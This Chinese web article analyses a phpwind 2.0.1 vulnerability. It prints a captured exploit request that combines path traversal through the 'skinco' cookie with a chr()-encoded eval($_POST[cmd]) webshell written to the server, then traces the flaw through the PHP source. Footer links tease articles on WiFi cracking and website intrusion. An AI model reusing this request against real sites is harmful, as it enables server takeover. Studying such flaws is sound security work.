驱动管家:安全、高效、精准的专业驱动下载站!

剖析phpwind2.0.1漏洞是怎么产生的?

2018-02-25 10:49:10责编:llp   来源:驱动管家     人气:

猫猫传给我一个phpwind2.0.1漏洞利用程序,可以直接在目录中写入一个木马。怎么说呢,这个漏洞是pinkeyes发现的,本文旨在分析这个漏洞的思路。直到发现这个漏洞是怎么产生的,我还在冒虚汗中,同时pinkeyes 的睿智深深的打动了我,原来我才明白什么才是真正的技术含量。

剖析phpwind2.0.1漏洞是怎么产生的?

且听我慢慢道来:

在程序运行时,我抓了一个包:

GET /phpwind/job.php?previewjob=preview&D_name=./attachment/set.php&tidwt=

(chr(46).chr(47).chr(101).chr(114).chr(114).chr(111).chr(114).chr(46).chr(112).chr(104).chr(112),w),

chr(60).chr(63).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).

chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(59).chr(63).chr(62))?>HTTP/1.1

Content-Type: text/html

Cookie:skinco=../../require/hidden;

Host: www.5a609.com:81

Accept: text/html, **

User-Agent: Mozilla/3.0 (compatible; Indy Library)

Chr()里的那些东西我查了一下ascii字符表,得到的是这样的:

所以关键是:

GET /phpwind/job.php?previewjob=preview&D_name=./attachment/set.php&tidwt=中$D_name和$tidwt的出处。这两个东西很重要!于是我下了一个phpwind 2.0.1的程序看看,开始以为是job.php有问题。进入job.php中,只发现如下代码:

elseif($previewjob=='preview'){

require_once(R_P.'require/bbscode.php');

require_once(R_P.'header.php');

if (empty($skin)) $skin=$db_defaultstyle;

if (file_exists(R_P."data/style/$skin.php")){

include_once("data/style/$skin.php");

}

好,在失望的同时也发现了$skin一定有问题,job.php文件头有个:require_once("./global.php");

接着我们来看看global.php里面的$skin参数吧:

if ($db_refreshtime!=0){

if('C:'.$REQUEST_URI==$lastpath && $onbbstime<$db_refreshtime){

!$_COOKIE['winduid'] && $groupid='guest';

$skin=$skinco ? $skinco : $db_defaultstyle;

Showmsg("refresh_limit");

}

哦,只要我们定义了$skinco就可以满足$skin了!所以再找找$skinco吧,$skinco只有一处解释,其后,并没有做任何过滤:

if($skinco && file_exists(R_P."data/style/$skinco.php")){

Cookie('skinco',$skinco);

哈哈,好轻松,只要存在就可以?这样只要构造一个cookie就完全可以实现。咦?$skinco我们好象哪里见过。果然,就是上面抓的包里面的:

Cookie:skinco=../../require/hidden;

这样就更加证明我的思路是正确的,风回路转呀。又不得不佩服这样精彩的手法,按照pinkeyes的思路:构造后应该是这样的:

data/style/../../require/hidden.php

也就是./require/hidden.php。

这样也就是满足了job.php中的

if (file_exists(R_P."data/style/$skin.php")){

include_once("data/style/$skin.php");

到这里,先告一段落,我们回个头想想。我们分析这么多就是pinkeyes要为了包含一个文件:./require/hidden.php。这就奇怪了,为什么这么pinkeyes要千方百计的来包含 ./require/hidden.php呢?直接利用不可以吗?这个hidden.php到底是个什么样的文件呢?恩,下面的解释会让你有一个满意的答案。

我小心翼翼的打开hidden.php

!function_exists('readover') && exit('Forbidden');

$newonline="<>t$timestampt$onlineipt$fidwtt$tidwtt$groupidt$wherebbsyout$acttimet$uidt$windidt";

$newonline=str_pad($newonline,$db_olsize)."n";

$onlineuser=readover(R_P.$D_name);

if($offset=strpos($onlineuser,"t".$windid."t")){

$inselectfile='N';

$offset=strpos($onlineuser,"n",$offset-$db_olsize);$offset+=1;

writeinline(R_P.$D_name,$newonline,$offset);

}elseif($offset=strpos($onlineuser,str_pad(' ',$db_olsize)."n")){

writeinline(R_P.$D_name,$newonline,$offset);

}else{

writeover(R_P.$D_name,$newonline,"ab");

}

?>

看到这里,所有的疑团都解开了!

1.原来文件头多了个

!function_exists('readover') && exit('Forbidden');

这样直接访问是不允许的,后面的代码也不会执行,这样我明白pinkeyes的苦心多走弯路来努力用include来包含这个文件

2 这个文件里有writeline()是可以写入木马的。$newonline正好也定义了$tidwt,所以最后的writeline()把$tidwt也写进去了。

写入到了d_name 所定义的set.php这个临时文件里。本来这样就可以写入一个小木马了,只要使$tidwt为编码:就可以的。但是可能是pinkeyes考虑到set.php里的东西比较乱。所以煞费苦心的用

写入一个更简单的木马到error.php里!这样才多了我们抓的第二个包:

GET /phpwind//attachment/set.php HTTP/1.1

。。。。。。。。。

后记:我感觉自己写侦探小说还不错,技术嘛,哎。。。。

  • windowsxp系统怎么设置隐藏密码?

    windowsxp系统怎么设置隐藏密码?

    随着电脑硬件价格的不断下跌,笔者的“老爷机”通过升级终于又重振雄风,也跑上了双系统(Windows XP和Windows 2000)。由于电脑放在宿舍里,自然也就成了“公共产品”,但在Windows 2000系统中有许多设置确实

    详情2018-01-16 13:30:22责编:llp   来源:驱动管家     
  • linux系统怎么破解wifi密码?使用reaver工具是一种方法

    linux系统怎么破解wifi密码?使用reaver工具是一种方法

    需要工具:reaver原理:穷举PIN码以攻破无线路由器的安全防护安装:下载源码从这个网址下载reaver源代码http: code google com p reaver-wpswget http: reaver-wps googlecode com files reaver-1 4 tar gz解

    详情2018-01-17 11:04:37责编:llp   来源:驱动管家     
  • 怎么用电炉抓肉鸡?电炉抓肉鸡有哪些步骤?

    怎么用电炉抓肉鸡?电炉抓肉鸡有哪些步骤?

    我用“电驴”抓肉鸡!!难道是放一个“电驴”在路上,等“火鸡”过来,一不小心踩在“电驴”上结果给烫熟了,结果就成“肉鸡”了。很多朋友说抓肉鸡很难,找好肉鸡就更难,其实也不然,关键就在于敢动脑子。没有

    详情2018-01-20 16:46:53责编:llp   来源:驱动管家     
  • 远程安全扫描器nessus有哪些优点?nessus扫描的步骤是什么?

    远程安全扫描器nessus有哪些优点?nessus扫描的步骤是什么?

    漏洞扫描就是对计算机系统或者其它网络设备进行安全相关的检测,以找出安全隐患和可被黑客利用的漏洞。显然,漏洞扫描软件是把双刃剑,黑客利用它入侵系统,而系统管理员掌握它以后又可以有效的防范黑客入侵。因

    详情2018-01-28 11:02:29责编:llp   来源:驱动管家     
  • eset卸载不干净?教你手动彻底卸载eset的方法

    eset卸载不干净?教你手动彻底卸载eset的方法

    如何手动卸载ESET安全产品?KB的解决方案ID:SOLN2289 |最后修改:2010年4月15日在试图手动卸载ESET安全产品,第一次尝试使用安装ESET开始菜单卸载程序与ESET聪明的安全4 x或ESET NOD32防毒软件4 x的规定点击这

    详情2018-02-11 08:44:12责编:llp   来源:驱动管家     
  • iphoto有什么功能?iphoto的格式串漏洞怎么修复?

    iphoto有什么功能?iphoto的格式串漏洞怎么修复?

    受影响系统:Apple iPhoto & 39;08 7 1不受影响系统:Apple iPhoto 7 1 2描述:BUGTRAQ ID: 27636CVE(CAN) ID: CVE-2008-0043iPhoto是用于导入、组织和共享数码照片的工具。iPhoto在处理photocast订阅时

    详情2018-01-26 17:35:10责编:llp   来源:驱动管家     
  • 瑞星杀毒软件怎么用?使用瑞星杀毒软件网络版的注意事项

    瑞星杀毒软件怎么用?使用瑞星杀毒软件网络版的注意事项

    瑞星杀毒软件网络版可以对网络内的计算机进行统一的安装、设置、管理、维护和升级,从而为企业网络提供完善的病毒防范体系。对于初次接触瑞星杀毒软件网络版的用户来讲,使用经验的缺乏和对产品功能的不熟悉都可

    详情2018-01-15 14:04:48责编:llp   来源:驱动管家     
  • 入侵linux系统网站的报告,教你如何入侵网站

    入侵linux系统网站的报告,教你如何入侵网站

    我发现了一个网站,于是常规入侵。很好,它的FINGER开着,于是我编了一个SHELL,aaa帐号试到zzz(by the way,这是我发现的一个网上规律,那就是帐号的长度与口令的强度成正比, 如果一个帐号只有两三位长,那

    详情2018-02-24 17:27:38责编:llp   来源:驱动管家     
  • 怎么做后台deamon来控制安全访问?这里有个后台脚本

    怎么做后台deamon来控制安全访问?这里有个后台脚本

    系统为了某些功能必须要提供一些服务(不论是系统本身还是网络方面),这个服务就称为service。而实现这个service的程序我们就称它为daemon。实现某个服务是需要一个daemon在后台中运行,没有这个daemon就不会有s

    详情2018-02-02 14:59:08责编:llp   来源:驱动管家     
  • 网站入侵有什么技巧?要先查看源文件

    网站入侵有什么技巧?要先查看源文件

    如果是html格式的站我们先打开网站,然后单击鼠标右键 按查看源文件-编辑-查找 ,输入asp 看有没有网站ASP文件或ASP带参数1:注入点先把IE菜单=>工具=>Internet选项=>高级=>显示友好 HTTP 错误信息前面的勾

    详情2018-01-28 13:36:54责编:llp   来源:驱动管家